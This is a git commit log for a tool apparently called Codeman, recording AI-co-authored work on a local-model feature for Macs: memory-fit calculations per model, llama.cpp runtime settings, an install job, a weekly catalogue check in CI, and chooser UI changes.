Compare commits

..
Author SHA1 Message Date
Codeman maintainer 04c4e43913 Merge the weekly local model catalogue check into the local model feature 2026-11-08 11:08:36 +01:00
Codeman maintainer 83fb523979 fix(local-model): rollback copies follow each tag's own draft length
The previous commit counted 4 rollback copies of the recurrent state for every GGUF with a
prediction layer, the runtime's default `draft_num_predict`. A tag can set its own in its
params layer, and the runtime then passes that as `--spec-draft-n-max`, which is what
`need_n_rs_seq()` turns into rollback copies. Read on 2026-11-08:

- qwen3.6:35b-a3b-mtp-q4_k_m: draft_num_predict 2, so 2 copies (was counted as 4).
- qwen3.8:27b-mtp-q4_k_m: draft_num_predict 4.
- qwen3.8:27b-q8_0: none in its params, so the runtime's 4.

The 35B-A3B GGUF row's overhead drops by 132 MB: 0.971 instead of 0.976 on a 36 GB M3 Pro or
M3 Max, the same pick. test/local-model-catalog.test.ts now carries the drafted tokens per row
instead of a yes/no prediction layer.

Also states what was verified about llama.cpp's checkpoint default: 8 from b6800 to b8200,
32 from b8250 together with a checkpoint every 8,192 prompt tokens (common/common.h at those
tags), in place of an inferred reason. Checked in the b12111 source as well: the draft context
of a Qwen-family MTP model caches the prediction block alone (`mtp_on_hybrid_qwen`, layers at
or above n_layer()), and the main context leaves it out, so the row counts that layer once.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:38:12 +01:00
Codeman maintainer ae392a6c85 docs(local-model): pinning digests changes the catalogue's no-digest rule
The weekly check's report and docs ask for an optional `digest` on each catalogue row, but the
catalogue keeps no digest on purpose: test/local-model-catalog.test.ts ("holds no download
data") refuses a `sha256` anywhere in it. Say so where the digest contract is described, so a
maintainer reads it as a decision for the catalogue, not a quick schema change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:31:11 +01:00
Codeman maintainer e6ed86771e ci(local-model): hold a row that names its runner to the build a Mac pulls
The catalogue that names each row's runner (feat/local-model-catalog-v2: `runner` is `mlx` or
`llamacpp`, and a row's memory figures follow that runner's rule) needs the weekly check to
notice when a tag starts serving a Mac another runner: a tag that gains an mlx child, or a
list that loses it. The size check usually catches that, but not when the two builds come out
about the same size, and the figures are wrong either way.

classifyModel() now raises a `runner` finding when the row names a runner and the build a Mac
selects runs on another one. catalogueRunner() maps the registry's names into the catalogue's:
`mlx` stays `mlx`; `llamacpp`, and `ggml` (what Ollama calls a GGUF manifest that names no
runner), are `llamacpp`, because Ollama 0.40.15 serves every GGUF build through llama-server.
A catalogue without the field (the one on this branch today) is never held to a runner.

Run live on 2026-11-08 against the v2 catalogue's eight rows: exit 0, every runner matches.
Tests: the mapping, the finding (both directions, ggml, an unknown runner, a row without the
field), the report text, and runCheck against the fake registry with a plain GGUF manifest.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:30:06 +01:00
Codeman maintainer 2cd3cbd6a0 fix(local-model): count what llama-server keeps beside the K/V cache, and bound its checkpoints
The llama.cpp memory rule of the catalogue left out two allocations that the llama.cpp the
runtime bundles (b12111, the runtime's LLAMA_CPP_VERSION) makes for every GGUF row:

- Context checkpoints. For a model whose state cannot be rolled back (the recurrent state of
  the Qwen-family rows, the sliding window of North Mini Code), llama-server keeps host copies
  of that state, two or three per request, up to 32 per slot by default
  (tools/server/server-context.cpp create_checkpoint). For the 27B that is 32 x 157 MB = 5 GB,
  none of which was counted. The runtime now sets LLAMA_ARG_CTX_CHECKPOINTS=8 (read by
  llama-server from its environment like LLAMA_ARG_CACHE_RAM; 8 was llama.cpp's own default
  before it went to 32), and every llamacpp row counts 8 copies of its state.
- Multi-token prediction. The two -mtp tags and qwen3.8:27b-q8_0 carry a prediction layer
  (nextn_predict_layers 1, read from the first bytes of each GGUF; the 9B tags and North Mini
  Code have none). The runtime then always passes --spec-type draft-mtp --spec-draft-n-max 4,
  so llama.cpp keeps 4 rollback copies of the recurrent state (need_n_rs_seq(),
  llama-memory-recurrent.cpp) and the prediction layer's cache in the draft context's cache
  type, f16 by default. The rows counted one state and that layer at q8_0.

What moves (test/local-model-recommend.test.ts, "every memory size", re-pinned):

- 16 GB: limited -> none. MiMo 9B at 65,536 tokens needs 10.2 GB, 0.987 of the 10.4 GB
  estimate. With the budget the Mac mini measured (10.7 GB after the reserve) it is offered,
  0.954, tight; that test is kept. With 4 checkpoints instead of 8 it would be 0.966 on the
  estimate: this size sits on the edge, and only a run on such a Mac settles it.
- 18 GB: the same pick, 0.964 instead of 0.928.
- 36 GB: the same picks, 0.966 (27B on M4/M5 Max) and 0.976 (35B-A3B GGUF on M3).
- 48 GB on a Max chip: the 27B at 262,144 tokens is tight (0.853) instead of good.
- 32 GB with a measured budget of 0.74: North Mini Code at 131,072 tokens (was 262,144), the
  27B at 65,536 on a Max chip (was 131,072).
- Every MLX row, and everything from 64 GB up, is unchanged.

test/local-model-catalog.test.ts recomputes the new rule from the architecture table and holds
the catalogue to LLAMA_ARG_CTX_CHECKPOINTS. The catalogue header, runtime.ts, the types,
docs/local-models.md, CLAUDE.md and architecture-invariants say the same. Read in the source,
not measured.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 10:26:57 +01:00
Codeman maintainer bc9c3c1639 docs(local-model): two catalogue header claims made exact
The Q8 27B row counts a prediction layer its GGUF may or may not carry
(not checked, careful side), and the macOS notice on the runtime's page is
about Laguna XS 2.1; Laguna S 2.1 is set aside for its open runtime issues.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:39:48 +01:00
Codeman maintainer 97f10a1033 docs(local-model): the long-session caveat of the tested pair, and what the check proves
The 48 GB row now says the test was a short task and that MLX may keep up
to 8 GiB more in a long session, which brings the pair to the edge of the
budget. The check after the download says what it proves for each runner,
from the runtime's source: for a GGUF build both of its figures are the
buffers llama-server reports allocating, so the check covers the whole
load whatever the cache type; for an MLX build only the weights. And the
docs say where a new row's architecture goes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:39:27 +01:00
Codeman maintainer dd83d34b8e test(local-model): every catalogue model id passes each offered harness's launch check
The new GGUF rows carry lowercase quantization tags (`-q4_k_m`); pin that
the launch path's model id test (`cliAcceptsCustomModelId()`) accepts every
stock id for every harness the catalogue offers, so a row the chooser shows
can always be started.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:35:55 +01:00
Codeman maintainer 46fa954b2e docs(local-model): what each Mac gets, and where every memory figure comes from
docs/local-models.md gains "Which model fits which Mac": the answer of the
stock catalogue for every memory size from 8 to 512 GB, why the chip
changes it at 36 to 96 GB, and why nothing is offered below 65,536 tokens.
"How much memory a model needs" explains the two runners (llama.cpp
allocates its K/V cache at load, MLX grows it and keeps up to 8 GiB of
prefix snapshots), the three runtime settings the llama.cpp rows assume,
and per row where its memory and speed figures come from. The check after
the download now says that for an MLX build it proves only the weights,
and "What to know" says most figures are calculated, not measured.

CLAUDE.md: every row names its runner and carries its own figures, and
the llama.cpp rows and runtimeEnv() change together.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:35:28 +01:00
Codeman maintainer 989fcd778a feat(local-model): a catalogue for every Mac from 8 to 512 GB, each row with its own figures
The catalogue had seven Qwen-family rows that all carried the memory
figures measured on one model (Qwen3.6 35B-A3B on the MLX runner), so a
9B or a dense 27B was judged with figures that do not describe it, two
rows had the wrong Mac download size, and every Mac below 32 GB got
"none".

Now eight rows, each with the runner a Mac really uses for its tag (a new
`runner` field: `mlx` or `llamacpp`) and memory figures of its own:

- the 35B-A3B MLX row keeps its measured figures and the tested pair;
- every llama.cpp row is computed from its model's config.json: a q8_0
  K/V cache for the whole context (what the runtime now sets), its
  recurrent or sliding-window state, 1.0 GB of runner and the 1 GiB host
  prompt cache;
- the one other MLX row (Ornith 1.5 122B) is computed the same way,
  scaled by what the measured row showed, plus the runner's 8 GiB of
  prefix snapshots.

Sizes are the registry's Mac pull totals (2026-11-08, lowercase ids
verified there). What each memory size gets: 8 GB none; 16 to 32 GB a 9B
(limited); 36 GB Qwen3.8 27B or the 35B-A3B as GGUF; 48 GB the tested
pair (or the 27B on a Max chip); 64 and 96 GB the 27B or the 35B-A3B;
128 to 512 GB Ornith 1.5 122B. Nothing but the one row was measured.

The catalogue test recomputes every computed figure from a table of
architectures and lets two rows share figures only when they share the
architecture and the runner. The rule tests of recommend() now run on a
frozen copy of the 2026-11-06 catalogue, so a weekly catalogue update
changes only the per-memory table and the real-Mac tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:33:48 +01:00
Codeman maintainer f60b63c005 feat(local-model): q8_0 K/V cache, flash attention and a bounded prompt cache for llama.cpp
runtimeEnv() now also sets OLLAMA_KV_CACHE_TYPE=q8_0, OLLAMA_FLASH_ATTENTION=1
and LLAMA_ARG_CACHE_RAM=1024. Read in the v0.40.15 source of the pinned
runtime: the first becomes --cache-type-k/-v of llama-server (17/32 of the
f16 cache), the second --flash-attn on (a quantized V cache needs it, and
"auto" or "off" would fail such a load), and llama-server inherits the third
from ollama serve's environment, which bounds its host prompt cache to
1 GiB instead of letting it grow by gigabytes in a session. The MLX runner
reads none of them.

The catalogue's llama.cpp rows are computed for these values, so the two
change together. Not yet measured on a Mac.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:18:51 +01:00
Codeman maintainer a9e08732c0 docs: leave the skill default to its own PR, and say what stays on the Mac
The skill-on-by-default change ships in its own pull request with the self-ignoring copy, so this branch keeps the old default and its wording. The local models guide no longer says nothing leaves the machine: the prompts go to the local model, while the coding agent may still check for updates.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:01:00 +01:00
Codeman maintainer 54c02990ba Revert the skill default flip on this branch: it ships in its own pull request
This reverts commit 0aa34da8, which made the codeman agent skill default on here as well. That change lives in feat/agent-skill-default-on, together with the self-ignoring copy and the reference-folder symlink check it needs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 09:00:59 +01:00
Codeman maintainer d358e611d9 docs(skill): say where opencode was measured, and the rc 3 leftover
The opencode readiness and marker measurements were made on Linux, not
on a Mac, and the docs now say so. A worker whose pane ends after it
wrote its answer file but before the marker matched answers 3 with no
answer: the rc 3 row now says the file may still be in its folder. The
example's input folder is named input, so the prompt reads cleanly.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:50:24 +01:00
Codeman maintainer 0a0ebfd274 docs: plugin users and the skill default, and what a local session keeps
The Codeman Agent Skill setting is now on by default, and the per-case
copy it writes lists twice next to the Claude Code plugin (codeman and
codeman:codeman), the same as a codeman skill install would. The README
and the wiki now say so and tell plugin users to turn the setting off.

The README's local model bullet said the session "sends nothing off the
machine". The server keeps the runtime on loopback with its cloud
features off, but opencode itself is not configured offline (its model
catalogue and update checks are untouched), so the bullet now says what
the code does: the prompts and files go to a model on this Mac.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:47:31 +01:00
Codeman maintainer 938c213552 fix(skill): sendmark also ends on a settled answer file
Measured on opencode 1.3.0 in a private tmux socket, with a fake
OpenAI-compatible endpoint streaming the reply a character or two at a
time: the marker was on the screen, but the stripped client stream read
D, spinner, O, spinner, N, ... because opencode redraws its spinner
between the streamed pieces, so wait-output never matched it. sendmark
then waited its whole timeout and answered 2 for a reply that had
finished, with the answer file already written (opencode's write tool
wrote it without asking).

The marker wait now runs in rounds of at most 10 s, and between rounds
the answer file is a way out too: a non-empty regular file whose
checksum held still for one round is read, with matched false. The
marker stays the fast path. The answer-file wait after a marker no
longer spins when the exit wait gets no answer, and treats an ended
wait as the worker gone.

The same run measured the readiness mark: with a fresh home and a
custom provider, the first composer bar came with the composer and a
prompt pasted with its Enter at that moment was submitted, so the docs
say so instead of "not measured". The example keeps its input in a
subfolder, apart from the case's CLAUDE.md.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:47:26 +01:00
Codeman maintainer 5a9de1bc4c fix(skill): name sendmark's workers by class, not a partial mode list
sendmark's comment and verbs.md 5.5 listed six external modes by name,
and test/agent-skill-mode-lists.test.ts refuses any partial list of them
(the one a ninth CLI would silently miss). Both now say what the class
is: a hook-less claude, a worker on the local model, and every external
agent mode but deepseek.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:24:14 +01:00
Codeman maintainer 0aa34da80f feat(settings): the codeman agent skill is on by default
agentSkillEnabled now reads an absent key as ON, the way
workspaceHooksEnabled does: only an explicit false turns it off. A new
session therefore finds the codeman skill in its folder without a
setting first, and with it the verbs that hand work to other CLIs and to
the local model on this Mac. Settings shows the switch on for the same
absent key.

The injection itself is unchanged: add-only, marker-owned, never through
a symlink, never for remote sessions or a plain shell. Turning the
setting off still removes nothing already written.

The quick-start test now pins the new default (injected on an absent
key, nothing after an explicit false), and the docs that said "default
off" say when that changed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 08:13:51 +01:00
Codeman maintainer 83576153d0 ci(local-model): name the digest contract and ask for measured rows first
A row can pin its build only as `digest`, the value /api/tags reports
after the pull, and LocalModelEntrySchema must gain that optional field
before the weekly check can compare it. The script header and the docs
now say so, so the field cannot arrive under another name and be ignored.

Until it exists, the report's digest table names the build a Mac pulls
for each row and asks for the rows with measured figures first: their
memory figures describe one build, and without a digest a rebuild of
about the same size goes unnoticed. A switch between the mlx and the gguf
build is still caught by the size check (2% or more apart).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:54:21 +01:00
Codeman maintainer d12bef0833 ci(local-model): check the model catalogue and the runtime pin every week
scripts/check-local-model-catalog.mjs reads every catalogue tag the way
Ollama 0.40.15 on Apple silicon reads it: it asks for the manifest list,
takes the mlx build when the tag offers one (else llamacpp, else ggml),
and compares that build's pull total (layers plus config) with the row's
`bytes`. It also reports a tag that is gone, a build whose `requires` is
newer than the pinned runtime, a pinned digest that moved, a newer Ollama
release, and a pinned ollama-darwin.tgz that is gone or changed. It never
requests a layer, bounds every request, retries nothing and validates
everything that reaches the report. Exit 0 clean, 1 drift, 2 failed.

The plain Docker manifest of a list tag is the llamacpp build, not what a
Mac pulls. Read the right way, the first run finds two rows sized from the
wrong build: qwen3.5:9b (a Mac downloads 7,639,229,431 bytes, +16.6%) and
qwen3.8:27b (18,174,721,847, +2.4%).

.github/workflows/local-model-catalog.yml runs it Mondays at 06:00 UTC
and on dispatch. The check job installs with --ignore-scripts and holds a
read-only token; a separate job with issues: write and no checkout opens
or updates the one "Local model catalogue: weekly check" issue on drift,
comments on it on a clean week when it is open, and is skipped when the
check failed. Actions are pinned by commit.

docs/local-models.md gains "Keeping the catalogue current".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:50:27 +01:00
Codeman maintainer 91ca7e54de docs(local-model): cloud plus local, through the codeman skill
docs/local-models.md says how a Claude Code session drives the model on
this Mac through the skill (local_model, spawn_worker local, sendmark)
and what stays true: the skill never installs a model or answers a
confirmation, one request at a time, and Stop and Remove wait for the
workers it opened.

The README gets the local model as a feature with that pairing, and an
example prompt in the skill's table; the wiki's skill page gets the same
row and a short paragraph.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:49:22 +01:00
Codeman maintainer 28e8029ce5 docs(skill): Claude in the cloud, a local model on this Mac
SKILL.md gets a subsection after the DeepSeek Harness workers: why to hand
work to the model on this Mac (bulk work with no per-token bill, files
that stay on the machine, a second opinion, a worker that needs no
network), the copy-paste block (local_model, spawn_worker local, sendmark,
delete_session), and the limits as the code has them: a person installs
the model, one request at a time, slower than the cloud, markers not
hooks, a spawn can start a runtime the person stopped, admin only and
experimental.

The description now names the local model, so "use the local model"
reaches the skill. Section 2 gains a row, the hook-less row points at
sendmark, and reference/verbs.md gets 5.16 with every local_model reason,
the spawn steps and the sendmark exit codes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:48:32 +01:00
Codeman maintainer b913092be3 feat(skill): spawn and drive a worker on the local model
The codeman skill's preamble learns the model Codeman installs on this Mac:

- local_model asks GET /api/v1/local-model and prints one JSON line: the
  installed model, the coding agent that runs it and its endpoint, or the
  reason there is none (not a Mac, nothing installed, an unfinished
  install, a blocked install, admin only, a server without the routes).
  Exit 0 only when a worker can start now or after a runtime start.
- spawn_worker <name> local (and name:local in spawn_workers) starts a
  stopped runtime the way the window's Start button does, quick-starts the
  installed agent with customModel, and waits for its composer (OpenCode's
  bar, the claude path for a claude agent, LOCAL_READY_MARK otherwise). A
  confirmation question from quick-start fails the spawn with empty stdout;
  nothing is ever confirmed on the person's behalf.
- sendmark <sid> <prompt> drives any agent worker without an end-of-turn
  signal: the exactly-once input body, a split marker through wait-output,
  then the answer read back from a file the worker wrote in its folder
  (regular files only, 256 KB at most), with one exit code per outcome.

The preamble stamp moves to 1.50.0 so every cached copy is rewritten.
The tests run the real preamble against a stubbed server.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 07:48:08 +01:00
Codeman maintainer be8fc2980a style(local-model): white for the feature, built like the primary launcher
The violet button was the one thing on the start screen outside the app's
blue, and it carried white text and a see-through disc where its neighbour
has dark ink and a solid disc. It is now white with dark ink and a solid
disc, the same on the Install button, and the chooser's selected row, tile
and model bar follow. Light skins turn it over to dark, since a white button
vanishes on a pale page. The context takes the app's blue.

The tokens are named for what they mean now (--lm-brand, --lm-context).

Brings test/local-model-ui.browser.test.ts up to the redesign it had fallen
behind: it is outside the gate, so the button's 46 px, the 12 px bar and the
memory panel's edges had gone unnoticed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 04:23:02 +01:00
Codeman maintainer aa76b1b304 style(local-model): rose for the brief peaks in the memory map
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 03:44:19 +01:00
Codeman maintainer 6b1664abae docs(local-model): the memory map in the frontend rules
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 03:22:25 +01:00
Codeman maintainer eb91279a3b feat(local-model): a memory map and real colour in the chooser, the button first
The owner's verdict on the chooser: nice, but not nice enough, too much just
blue. He also wants "Run a local model" on top of the start screen, above
Run Claude Code.

The memory bar is now a map: the model, its context and the brief peaks side
by side on the track of what this Mac can give a model, each with its size in
a legend, and the verdict on the fit beside the figure. recommend() sends what
the need is made of as `Candidate.memory`.

Colour now carries meaning: green for good and tested, amber for tight, orange
for slow, teal for the context. Violet is the feature's own colour, on its
start screen button and its main action. Every row has a size tile and a speed
gauge scaled to the fastest row in the list. The light skins get deeper values
of the same colours, and the window is 40 px taller to hold it without
scrolling.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 03:21:35 +01:00
Codeman maintainer 04f232f239 feat(local-model): the start screen's local model button in the size of the main one
The owner asked for it much bigger and in the middle. The button keeps the
chip's markup and takes the primary button's height, radius and weight, with
an accent outline and its glyph in a disc, so a model on this Mac is offered
as a main way in rather than as a footnote under the launchers.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-07 00:04:57 +01:00
Codeman maintainer 0a8ab84ea1 docs(local-model): name every covered launch path, both install executors, and the port without a login
The runner header says what each caller passes (the job: the compiled stock
command; the route: the merged entry, behind cliManagementEnabled).
docs/cli-registry.md names both executors in its trust boundary. The
security architecture gains a section on the pinned runtime and its hash,
the loopback port without a login and the digest check, and the install
path without cliManagementEnabled; SECURITY.md lists the port as a known
limitation. The guides and the rules name exactly the paths the launch
guard covers, the session that keeps calling a stopped runtime's port, the
claim before the connect writes, and the outcome kept in memory.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:55:02 +01:00
Codeman maintainer 77d29d4621 feat(local-model): one frame for the window, honest figures, a table for the consent
The window is one frame for the whole flow: a fixed height on desktop, App
Settings' boxed close button, the buttons in a foot of their own outside
the part that scrolls, so a click never moves the next button away and
nothing is cut off; the short screens are centred in it on desktop and sit
above the buttons on a phone.

The chooser lists the pick first and then the other models by download
size, largest first, a column the reader can see. A pick that only just
fits says "Best fit, tight". The memory figure is an estimate and says so
once, in whole GB; its legend names the peak, and the installed line uses
the same words beside what the model takes now, so the two figures are not
read as a contradiction. The legend, the column headers and the foot's
promise are set in --text-dim, the bar's track in --text-muted so its free
part can be seen, and only the download figure keeps tabular figures.

The consent screen is the download as a table: the chosen row, the runtime,
the coding agent with its installer's command as the row's second line, the
total in the strong weight, then where it goes in one line. The download bar
means the model download alone and is gone once the model is in; the screen
that ends an install shows "Start a session" alone; an error on an installed
model is the headline with a grey dot; an error's first sentence is the
headline; Remove is quiet everywhere but red in its own question. The
no-recommendation reasons are one sentence each, and the untested note is
in Codeman's voice. A refusal the server names is printed from its sentence.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:55:02 +01:00
Codeman maintainer 3c4bb91d6f fix(local-model): ask the launch guard before every start of an agent on the managed endpoint
Only the two session routes asked launchRefusalMessage(). The attach that
finds no pane, the respawn of a dead pane (a click on the tab, a respawn
start, the boot recovery), restartCli() and the reboot-restore rebuild
started an agent on the endpoint unasked. Session gains setLaunchGuard(),
asked right before a NEW agent process is started and never for an attach to
an agent that runs; WebServer.setupSessionListeners() sets it for every
session; a refusal is a LaunchRefusedError that never falls back to a direct
PTY. The reboot-restore route asks before it builds and skips the entry with
its own reason, left on offer.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:54:46 +01:00
Codeman maintainer fa978008d2 fix(local-model): claim the connection first, keep an outcome the disk refused, say why a start failed
The connect step records the connection in the state file BEFORE it writes
the endpoint record and the settings flag (the flag's earlier value read by
inspectLocalEndpoint()), so a state write that fails or a server killed
between the two never leaves a record of ours that the state file does not
know; a record under the reserved id that says exactly what ours would say
is ours. changePort() writes the state first and puts the old port back when
the endpoint move is refused.

A job whose end could not be written (a full disk) is kept in memory: the
view shows it, Resume and a new install start from it, the next verb writes
it, and Cancel never answers a 500. A first install on a full disk is a 507
with the sentence. "installing" in the file while this process runs no job
always reads as paused or that failure.

An installed model whose runtime does not start says so (runtime-start-failed
with Start as the next step, and the launch check says it too); the stored
runtime version is started while its folder is unpacked. Stop, Remove and
the boot of anything that is not a running installation end a runtime an
earlier server left behind before any file is deleted. Stop and "Use another
port" answer 409 sessions-open while a live session uses the model. A pull
that failed because the runtime is gone is runtime-stopped, not a network
problem. After "does not fit" only a model that needs less memory is offered.
A replaced job's partial blobs are deleted. Every 400 carries its sentence as
data.message, and the six inline sentences are labels with zh-CN entries.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:54:45 +01:00
Codeman maintainer 6319fffce1 fix(local-model): end a runtime an earlier server left behind, and keep its version
The supervisor reports the child's pid the moment it is spawned, before it
answers, so a server killed during a start still leaves a pid that names the
runtime as ours. stop() takes that stored pid (previousPid) and ends a
runtime an earlier server left behind when its command line is a binary
under our runtime folder, so no caller deletes the folder under a live
process. start() takes a version: an installed model keeps the runtime
version it was installed with when a later build pins another one.

removeLocalModelFiles() refuses a local-model folder that is itself a
symbolic link (every check compared against the real path of the root, so
a link in its place passed whatever it pointed at). removePartialModelBlobs()
deletes what an interrupted download left in the model store, which the
runtime answers "not found" for and never deletes.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:54:45 +01:00
Codeman maintainer 30ffdaeecd test(local-model): the install end to end over the fake runtime
The real routes, service, recommendation, runtime download and unpack,
supervisor, pull, checks, connection and state file, joined together. Only
the runtime (a fake HTTP server the injected spawn "starts"), the hardware,
the coding agent's installer and the waits between retries are stand-ins.

Walks: the whole install and its removal (the folder is gone, the settings
flag is restored); a runtime download that arrives damaged; a model download
that fails twice and then succeeds; one that keeps failing; a model that
calls no tool; Cancel during the model download; a server restart during the
model download, which comes back paused and waits for a click.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 7238ced571 docs(local-model): the install guide, the API and the rules
docs/local-models.md is the guide: the steps, the layout on disk, what is
written outside the folder, the failures and their next steps. The API
reference documents the install object and the five verbs, and how the list
is ordered. The rules for the server side are in CLAUDE.md and
architecture-invariants.md, the user-facing pages in the wiki.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 84d5c691ff feat(local-model): one button and a chooser window replace the welcome card
The read-only card is gone. The welcome screen has one button, "Run a local
model" ("Local model" once one is installed), and App Settings > Models has
one row; both open the same window.

The window follows `install.state`: choose a model (a radio group, with a
memory bar filled to what the selected model needs), confirm the sizes and
the folder, watch the download and the steps, and end on "Start a session".
Paused, failed, installed (running or stopped), Remove and "no model fits"
are screens of the same window. It polls the GET once a second while open.

Every dynamic string goes in through textContent, labels and sentences come
from the payload, no CLI id is compared, and every new string has a zh-CN
entry.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 3af94df4f6 feat(local-model): install a model from the server, with a job that can pause
POST /api/local-model/install, cancel, resume and runtime, and DELETE
/api/local-model. The GET gains an `install` object the window polls. All of
it is experimental and admin only in multi-user mode.

One job of five steps (runtime, model, verify, agent, connect) driven by a
pure reducer over explicit state, step and transition tables. One job at a
time (409). The consent is bound to the size shown: `acknowledgedBytes` must
be the server's own total (409 size-changed). A job a server restart
interrupted comes back paused and never continues without a click. Every
failure is a code with one next step.

The model is judged against the budget the runtime measured before it is
downloaded. A missing coding agent is installed with its stock command
through the shared runner, audited. Connect writes one endpoint record under
the reserved id through mutateCustomModelHosts() and switches
customModelEndpointsEnabled on through mutateSettingsFile(), remembering the
flag's value. The model's digest is stored and read again at boot and before
every session start on that endpoint; a changed model refuses the launch.

Remove answers 409 with the session names while a live session uses the
endpoint, undoes the two writes first, restores the flag only when this
feature switched it on and no other endpoint is saved, and deletes only
inside local-model/. The coding agent stays.

The server starts the runtime at boot when a model is installed and stops
it at shutdown beside stopDeepSeekWeb().

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer a864acc52c fix(custom-model): serialize every write of the endpoint store
The four endpoint routes and the 5-minute discovery sweep each read
custom-model-hosts.json, changed their copy and wrote it back through one
shared temp file name. Two of them at once could tear the file or drop each
other's record: ten creates sent together did not all land.

Every write now goes through mutateCustomModelHosts() (one promise chain, a
random temp name, mode 0600), with each check inside the same step as its
write. A file that does not parse is refused with 409 and never replaced.
A delete of an unknown id no longer rewrites the file. A guard test fails
any other writer in src/.

The id `local-ollama` is reserved for the model Codeman runs on this Mac: a
new endpoint may not take it, and while the record is the managed one it is
not edited, deleted or re-discovered from these routes.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer be9279de35 refactor(cli-registry): move the CLI install runner into a shared module
The runner that executes a CLI's stock install command (the environment
without CODEMAN_*, the npm prefix redirect, the bounded process group, the
one install per CLI at a time) moves from cli-registry-routes.ts to
src/cli-install-runner.ts, so the local model install can use the same one.
The route re-exports installEnv and npmGlobalPrefixWritable and behaves as
before; its tests are unchanged.

New in the shared module: an abort signal that kills the process group,
stockInstallCommand() (the compiled stock command, never the clis.json one)
and tryBeginCliInstall(), the one install slot per CLI for both callers.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 2af413aa9b feat(local-model): the pinned runtime, its supervisor and the runtime client
runtime.ts: the runtime is pinned in a compiled constant (version, URL, size,
sha256). The archive is streamed to a .partial file while it is hashed,
continued with a Range request, retried at most 3 times, and the hash is
compared before anything is unpacked; a mismatch deletes the file. It is
unpacked with /usr/bin/tar into a temporary folder and renamed.

The supervisor runs the runtime as a non-detached child with an environment
built from an allowlist by the pure runtimeEnv(), on a port chosen once by
binding. It restarts the child at most 3 times, stops it with SIGTERM, adopts
or replaces its own orphan on the port and answers port-in-use for any other
listener. parseInferenceComputeTotal() reads the device total the runtime
logs when it starts. Under vitest nothing spawns or fetches.

ollama-client.ts: the pull is parsed incrementally by a pure parser (a 23 GB
pull is about 1.4 million lines), with up to 5 retries on an error line or a
cut stream. verifyModel() loads the model with one tiny chat, checks what the
runtime reports (all on the GPU, the chosen context) and makes one tool
probe; each failure is a code.

developer-tools.ts: only /usr/bin/xcode-select -p, bounded, darwin only.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 492df776d0 feat(local-model): judge the fit on the measured peak and rank a tested Mac first
The catalogue rows carry the figures measured on a Mac (the MLX build of
qwen3.6:35b-a3b is 23,105,798,956 bytes, about 37 KB held per context token,
about 3 GB of runner overhead, about 5 GB more for a moment while a long
prompt is processed). A model's need is now its peak. Rows that were not
measured use the same per-token and overhead figures and say `estimated`.

qwen3.6:35b-a3b gets the tested entry for an Apple M5 Pro with 48 GB and
OpenCode, with its measured 67.7 tokens per second, so that row may say
"Tested on a Mac like this".

The ranking changes with it: a pair tested on a Mac like this one comes
first, then speed (ok, unknown, slow), then model rank, harness rank and the
larger context. The fit grade decides whether a row is listed and what it
says, it no longer sorts, so a model is offered at the largest context it
fits at. recommend() takes the budget the runtime measured
(`budgetSource: measured`), and modelFitsBudget() judges one model against it.

Candidate rows now always carry `needSource`, `harnesses`, `installBytes`,
`installGb` and, where one applies, `tag`. `kvBytesPerToken` and the prompt
cache tiers are gone.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:37 +01:00
